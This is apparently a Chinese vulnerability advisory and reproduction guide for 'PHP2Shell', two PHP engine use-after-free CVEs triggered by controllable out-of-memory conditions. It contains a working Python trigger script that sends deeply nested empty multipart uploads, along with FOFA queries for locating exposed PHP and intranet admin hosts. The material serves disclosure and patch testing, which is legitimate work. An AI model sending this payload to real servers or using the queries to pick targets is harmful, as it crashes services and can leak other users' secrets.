漏洞简介
PHP 官方一次性放出 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 四个安全版本,修复两处藏在 PHP 核心引擎层的远程代码执行漏洞,社区统称 PHP2Shell。
它有两个反常识的点:
引擎层漏洞,不是应用层。 漏洞在
php-src的请求解析与内存管理里,不在任何网站代码里。你用 WordPress、Laravel 写得再干净、登录校验卡得再严,也拦不住——攻击发生在你的业务代码运行之前。
藏了约 14 年,又因 AI 在 48 小时内被打穿。 漏洞代码最早追溯到 2012 年;2024 年人工审计就摸到过隐患,但找不到稳定利用路径而搁置;今年 7 月,OpenAI「Patch the Planet」计划下 Calif 用 GPT-5.6 Sol 两天串出了利用链。
全球能识别出服务端语言的网站里约 69.3% 跑在 PHP 上,Censys 扫出公网易易网站点约 5490 万——这是引擎级暴露面。
影响范围
修复版本:8.2.35 / 8.3.36 / 8.4.27 / 8.5.12(CVSS v4.0 均 9.2)。部署形态:mod_php(风险最高,未认证、应用代码前触发)、PHP-FPM、php-cgi、FrankenPHP、LiteSpeed 全部在射程内;路由器/NAS/防火墙管理后台等内嵌 PHP 设备同样中招,而管理员往往没有直接升级 PHP 的入口。
漏洞原理
两个漏洞共享同一个失败模式:一次致命的内存耗尽(OOM)在错误的时间点打断了 PHP 内部操作——内存账记了一半、活没干完,后面的清理程序拿着这本假账,把已释放或从未初始化的内存当成正常数据继续用。 这正是 Use-After-Free(UAF)的经典形态。
放大器为什么能"可控 OOM":
post_max_size(默认 8M)只校验Content-Length,不校验 PHP 实际消费的字节数;一条
filename=""的 RFC1867 空上传字段不含文件数据、不计入max_file_uploads,但 PHP 仍为它建name/full_path/type/tmp_name/error/size六个$_FILES条目;字段名深层嵌套(
files[a][b][c]...)时,每一层都为这六个条目分别建 HashTable + Bucket + 字符串键;几百条这样的记录,HTTP 体不到 8 MiB,PHP 堆却膨胀出 >128 MiB 分配——攻击者手里就有了一个"可控 OOM 遥控器"。
两个 CVE 各占一格:
CVE-2026-109618(内存账记错):Zend 引擎哈希表插入
_zend_hash_str_add_or_update_i()先给存活计数器nNumUsed+1,再分配初始化 key。若分配 key 那步撞上 OOM 被掐断,计数器已加、初始化被跳过;哈希表销毁时按计数器逐个"析构",包括那个从未初始化的 Bucket,陈旧内存里的随机字节被当合法 zval 指针处理。
CVE-2026-109619(跨请求残留账):
session.upload_progress在 PHP 还在解析 multipart 请求体时(早于模块正常激活)提前初始化 Session,全局变量存的是指向当前请求堆的指针。OOM 致命错误后,END 清理回调被跳过、模块关闭钩子被激活标志挡在门外,但请求堆照样整块释放。mod_php 的 worker 带着PS(id)、PS(http_session_vars)两个悬垂指针存活,攻击者再发一个不带文件、但带 Session ID 和PHP_SESSION_UPLOAD_PROGRESS字段的请求,就能让清理路径"析构"一块早已释放的内存。
附赠一个类 Heartbleed 的面:上传进度处理器可把已释放的 worker 内存经 PHPSESSID 响应 cookie 回传给客户端,里面可能藏着其他请求的密码、令牌、API key 甚至 TLS 私钥,且不需要应用调用 session_start()。
修复点(8.5.12):新增 max_multipart_body_parts(默认 1020),在请求启动阶段就掐断放大器,所以同一请求打修复版会被截断、页面正常输出。
漏洞复现
准备环境
若 Docker Hub 尚未同步 8.5.11 / 8.5.12 镜像 tag,可用
php:8.4-apache(漏洞)/php:8.4.27-apache(修复)对位,原理相同。
复现步骤一:起本地环境
bash php2shell_env.sh up
# 漏洞版 :28080 / 修复版 :28081,各放一个最小 index.php复现步骤二:打对照请求
python php2shell_compare.py同一个 ~771 KiB 请求体,两边行为完全不同:
Unknown on line 0 是关键信号——崩在引擎解析请求体阶段,而不是应用代码里。
复现步骤三:单点 OOM 触发(可自定义 target)
python php2shell_oom_trigger.py --target 127.0.0.1:28080
# 构造 1200 条 × 60 层嵌套空 filename="" multipart
# 请求体 ~771 KiB,堆膨胀 >128 MiB,触发可控 OOM 原语可复现到"可控 OOM + UAF 状态窗口"。触发脚本核心:
import http.client
BOUNDARY = "----php2shellpoc"
parts = []
for i in range(1200):
nest = "".join(f"[k{d}r{i}]" for d in range(60)) # 每条独享一条嵌套路径
parts.append(
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="files{nest}"; filename=""\r\n'
f"Content-Type: application/octet-stream\r\n\r\n\r\n"
)
body = ("".join(parts) + f"--{BOUNDARY}--\r\n").encode()
conn = http.client.HTTPConnection("127.0.0.1", 28080, timeout=120)
conn.request("POST", "/index.php", body=body,
headers={"Content-Type": f"multipart/form-data; boundary={BOUNDARY}"})
print(conn.getresponse().read().decode(errors="replace"))踩坑提示:若多条记录共用同一条嵌套路径,PHP 只会把层级建一遍,堆压力上不去——必须每条独享一条 60 层路径。
FOFA 语法
带 PHP 指纹 + 可交互的 Web 应用
app="PHP" && port="80" 只挑内网/管理后台(升级最慢、最该盯)
app="PHP" && host="*.intranet.local"说明:PHP 是引擎,不固定在某一个产品上,FOFA 用
app="PHP"命中带 PHP 指纹的站点;真正该重点排查的是无法直接升级 PHP 的厂商内置后台(路由器、NAS、防火墙管理页)——它们升级入口在厂商手里,见 NCSC 的software清单。